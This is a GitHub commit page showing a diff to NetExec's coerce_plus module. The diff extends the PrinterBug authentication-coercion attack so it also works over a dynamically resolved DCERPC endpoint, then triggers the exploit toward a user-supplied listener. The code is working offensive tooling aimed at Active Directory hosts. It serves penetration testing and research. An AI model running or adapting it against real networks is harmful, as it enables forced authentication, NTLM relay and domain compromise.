Skip to content

Commit

Permalink
Merge pull request #505 from rtpt-romankarwacik/dcerpc_printerbug
Browse files Browse the repository at this point in the history
coerce_plus: Support DCERPC for PrinterBug
  • Loading branch information
mpgn authored Jan 2, 2025
2 parents 1219423 + 74f39f5 commit fcc22c2
Showing 1 changed file with 67 additions and 27 deletions.
94 changes: 67 additions & 27 deletions nxc/modules/coerce_plus.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
from impacket.dcerpc.v5 import transport, rprn, even
from impacket import uuid
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
Expand Down Expand Up @@ -146,32 +147,36 @@ def on_login(self, context, connection):
if self.method == "all" or self.method[:2] == "pr": # PrinterBug
runmethod = True
""" PRINTERBUG START """
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="spoolss"
)
pipes = ["spoolss", "[dcerpc]"]
for pipe in pipes:
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe=pipe
)

if printerbugconnect is not None:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, "spoolss")
printerbugconnect.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
except Exception as e:
context.log.error(f"Error in PrinterBug module: {e}")
if printerbugconnect is not None:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
if not self.always_continue and exploit_status:
break
printerbugconnect.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
except Exception as e:
context.log.error(f"Error in PrinterBug module: {e}")
""" PRINTERBUG END """

if self.method == "all" or self.method[:1] == "m": # MSEven
Expand Down Expand Up @@ -752,15 +757,50 @@ class PrinterBugTrigger:
def __init__(self, context):
self.context = context

def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = r"ncacn_ip_tcp:%s[135]" % target
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
self.context.log.debug(
"Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))
)
try:
dce.connect()
except Exception as e:
self.context.log.warning("Failed to connect to endpoint mapper: %s" % e)
raise e
try:
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
self.context.log.debug(
"Resolved dynamic endpoint %s to %s"
% (repr(uuid.bin_to_string(interface)), repr(endpoint))
)
return endpoint
except Exception as e:
self.context.log.debug(
"Failed to resolve dynamic endpoint %s"
% repr(uuid.bin_to_string(interface))
)
raise e


def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"spoolss": {
"stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target,
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": 445
},
"[dcerpc]": {
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": None
}
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.set_dport(445)
if binding_params[pipe]["port"] is not None:
rpctransport.set_dport(binding_params[pipe]["port"])

if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
Expand Down

0 comments on commit fcc22c2

Please sign in to comment.